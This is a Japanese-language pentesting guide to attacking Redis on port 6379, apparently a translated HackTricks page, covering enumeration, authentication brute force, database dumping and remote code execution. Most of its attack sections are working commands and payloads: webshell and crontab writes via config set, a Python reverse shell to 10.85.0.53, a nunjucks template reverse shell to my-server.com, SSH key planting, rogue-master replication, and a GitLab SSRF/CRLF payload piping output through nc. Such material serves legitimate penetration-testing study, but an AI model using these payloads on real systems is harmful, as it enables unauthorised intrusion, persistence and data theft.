# 6379 - Pentesting Redis {{#include ../banners/hacktricks-training.md}} ## 基本情報 From [the docs](https://redis.io/topics/introduction): Redisはオープンソース(BSDライセンス)のインメモリ**データ構造ストア**で、**データベース**、キャッシュ、メッセージブローカーとして使用されます。 デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、**ssl/tls**を実装することもできることを念頭に置いておく必要があります。Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md). **デフォルトポート:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` ## 自動列挙 Redisインスタンスから情報を取得するのに役立ついくつかの自動化ツール: ```bash nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` ## 手動列挙 ### バナー Redisは**テキストベースのプロトコル**であり、**ソケットにコマンドを送信するだけで**、返された値は読み取ることができます。また、Redisは**ssl/tls**を使用して実行できることを忘れないでください(ただし、これは非常に奇妙です)。 通常のRedisインスタンスでは、`nc`を使用して接続するか、`redis-cli`を使用することもできます: ```bash nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` 最初のコマンドとして試すことができるのは **`info`** です。これは、Redisインスタンスの情報を含む出力を返すか、次のようなものが返される可能性があります: ``` -NOAUTH Authentication required. ``` この最後のケースでは、**有効な認証情報が必要**であることを意味します。 ### Redis 認証 **デフォルトでは** Redis は **認証情報なしでアクセス可能**です。しかし、**パスワードのみ、またはユーザー名 + パスワード**をサポートするように **設定することができます**。\ _**redis.conf**_ ファイルのパラメータ `requirepass` で **パスワードを設定することが可能**です。**または、一時的に**サービスが再起動するまで接続して、次のコマンドを実行することでも設定できます: `config set requirepass p@ss$12E45`。\ また、_**redis.conf**_ ファイル内のパラメータ `masteruser` で **ユーザー名を設定することができます**。 > [!NOTE] > パスワードのみが設定されている場合、使用されるユーザー名は "**default**" です。\ > また、Redis がパスワードのみまたはユーザー名 + パスワードで設定されているかを **外部から確認する方法はありません**。 このようなケースでは、Redis と対話するために **有効な認証情報を見つける必要があります**ので、[**ブルートフォース**](../generic-hacking/brute-force.md#redis)を試みることができます。\ **有効な認証情報が見つかった場合、接続を確立した後にセッションを認証する必要があります**。 ```bash AUTH ``` **有効な資格情報**には、次のように応答されます: `+OK` ### **認証された列挙** Redisサーバーが**匿名接続**を許可している場合、または有効な資格情報を取得している場合は、次の**コマンド**を使用してサービスの列挙プロセスを開始できます: ```bash INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ] ``` **他のRedisコマンド** [**はここにあります**](https://redis.io/topics/data-types-intro) **と** [**ここにあります**](https://lzone.de/cheat-sheet/Redis)**.** インスタンスの**Redisコマンドは、_redis.conf_ファイルで名前を変更したり削除したりできます**。例えば、この行はFLUSHDBコマンドを削除します: ``` rename-command FLUSHDB "" ``` Redisサービスを安全に構成する方法についての詳細はこちら: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) また、**`monitor`**コマンドを使用して実行されたRedisコマンドを**リアルタイムで監視**したり、**`slowlog get 25`**を使用して**25の最も遅いクエリ**を取得することもできます。 さらに興味深いRedisコマンドに関する情報はここで見つけることができます: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **データベースのダンプ** Redis内では、**データベースは0から始まる番号です**。`info`コマンドの出力内の「Keyspace」チャンクで、使用されているかどうかを確認できます: ![](<../images/image (766).png>) または、次のコマンドで全ての**キー空間**(データベース)を取得できます: ``` INFO keyspace ``` その例では、**データベース 0 と 1** が使用されています。**データベース 0 には 4 つのキーがあり、データベース 1 には 1 つのキーがあります**。デフォルトでは、Redis はデータベース 0 を使用します。たとえば、データベース 1 をダンプするには、次のようにする必要があります: ```bash SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET [ ... Get Key ... ] ``` `GET `を実行中に`-WRONGTYPE Operation against a key holding the wrong kind of value`というエラーが発生した場合、それはキーが文字列や整数以外のものであり、表示するために特別なオペレーターが必要であるためです。 キーのタイプを知るには、`TYPE`コマンドを使用します。以下はリストとハッシュキーの例です。 ```bash TYPE [ ... Type of the Key ... ] LRANGE 0 -1 [ ... Get list items ... ] HGET [ ... Get hash item ... ] # If the type used is weird you can always do: DUMP ``` **npmを使ってデータベースをダンプする**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **またはpython** [**redis-utils**](https://pypi.org/project/redis-utils/) ## Redis RCE ### インタラクティブシェル [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) は、Redis(<=5.0.5)でインタラクティブシェルまたはリバースシェルを自動的に取得できます。 ``` ./redis-rogue-server.py --rhost --lhost ``` ### PHP Webshell Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). **Webサイトフォルダー**の**パス**を知っておく必要があります: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "" OK 10.85.0.52:6379> save OK ``` ​ウェブシェルアクセスに例外がある場合、バックアップ後にデータベースを空にして再試行できます。データベースを復元することを忘れないでください。 ### テンプレートウェブシェル 前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのhtmlテンプレートファイルを上書きしてシェルを取得することもできます。 例えば、[**この書き込み**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)に従って、攻撃者が**nunjucksテンプレートエンジン**によって解釈された**htmlにrevシェルを注入した**ことがわかります。 ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}} ``` > [!WARNING] > 注意してください **いくつかのテンプレートエンジンは** テンプレートを **メモリ** にキャッシュするため、上書きしても新しいものは **実行されません**。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを行う必要があります(自動的に再起動されることを期待してください)。 ### SSH 例 [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) **`config get dir`** の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。 **`config get dir`** の出力には、**redisユーザー**の**ホーム**(通常は _/var/lib/redis_ または _/home/redis/.ssh_)が見つかり、これを知ることで、`authenticated_users`ファイルをssh経由で**redisユーザー**としてアクセスするためにどこに書き込むことができるかがわかります。他の有効なユーザーのホームを知っていて、書き込み権限がある場合は、それを悪用することもできます: 1. PC上でssh公開鍵-秘密鍵ペアを生成します: **`ssh-keygen -t rsa`** 2. 公開鍵をファイルに書き込みます: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. ファイルをredisにインポートします: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. Redisサーバーの**authorized_keys**ファイルに公開鍵を保存します: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK ``` 5. 最後に、秘密鍵を使って**redisサーバー**に**ssh**できます: **ssh -i id_rsa redis@10.85.0.52** **この技術はここで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) さらに、システムユーザーは `config set dir /home/USER` で確認することで発見でき、新しい `authorized_keys` を `/home/USER/.ssh/authorized_keys` に書き込むことができます。[redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) を使用して、ユーザー名のワードリストでブルートフォース攻撃を行い、`authorized_keys` を上書きします。 ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` 最後の例はUbuntu用ですが、**Centos**の場合、上記のコマンドは次のようになります: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` この方法はビットコインを得るためにも使用できます:[yam](https://www.v2ex.com/t/286981#reply14) ### Redisモジュールのロード 1. [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)の指示に従って、**任意のコマンドを実行するためのredisモジュールをコンパイル**できます。 2. 次に、**コンパイルされた**モジュールを**アップロードする方法**が必要です。 3. `MODULE LOAD /path/to/mymodule.so`を使用して、ランタイムで**アップロードされたモジュールをロード**します。 4. `MODULE LIST`を使用して、正しくロードされたかどうかを確認するために**ロードされたモジュールをリスト**します。 5. **コマンドを実行**します: ``` 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` 6. 必要に応じてモジュールをアンロードします: `MODULE UNLOAD mymodule` ### LUAサンドボックスのバイパス [**ここ**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)で、Redisが**EVAL**コマンドを使用して**Luaコードをサンドボックス化して実行**していることがわかります。リンクされた投稿では、**dofile**関数を使用して**それを悪用する方法**が示されていますが、[どうやら](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval)これはもはや不可能なようです。とにかく、**Lua**サンドボックスを**バイパス**できれば、システム上で**任意の**コマンドを**実行**できます。また、同じ投稿から**DoSを引き起こすためのオプション**も確認できます。 Luaから脱出するためのいくつかの**CVE**: - [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### マスタースレーブモジュール ​マスターRedisのすべての操作は自動的にスレーブRedisに同期されます。これは、脆弱性のあるRedisをスレーブRedisと見なすことができ、マスターRedisに接続されている私たちの制御下にあるRedisにコマンドを入力できることを意味します。 ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` ## SSRFがRedisと通信する **Redis**に**クリアテキスト**リクエストを送信できる場合、リクエストを行ごとに読み取り、理解できない行にはエラーで応答するため、**通信することができます**。 ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` したがって、ウェブサイトで**SSRF vuln**を見つけ、いくつかの**ヘッダー**(おそらくCRLF vulnを使用して)や**POSTパラメータ**を**制御**できる場合、Redisに任意のコマンドを送信することができます。 ### 例: Gitlab SSRF + CRLF to Shell **Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようにしました(これにより127.0.0.1にアクセスします)、そして**CRLF**脆弱性は**URL**に**%0D%0A**文字を追加することで悪用されました。 したがって、**これらの脆弱性を悪用してRedisインスタンスと通信することが可能でした**。これは**gitlab**のキューを管理し、そのキューを悪用して**コード実行を取得する**ことができました。Redisキューの悪用ペイロードは: ``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` そして、**URLエンコード**リクエストが**SSRF**と**CRLF**を悪用して`whoami`を実行し、出力を`nc`経由で返すのは次の通りです: ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` _なぜか(この情報が取られた_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _の著者に関して)`git` スキームでのエクスプロイトが機能し、`http` スキームでは機能しませんでした。_ {{#include ../banners/hacktricks-training.md}}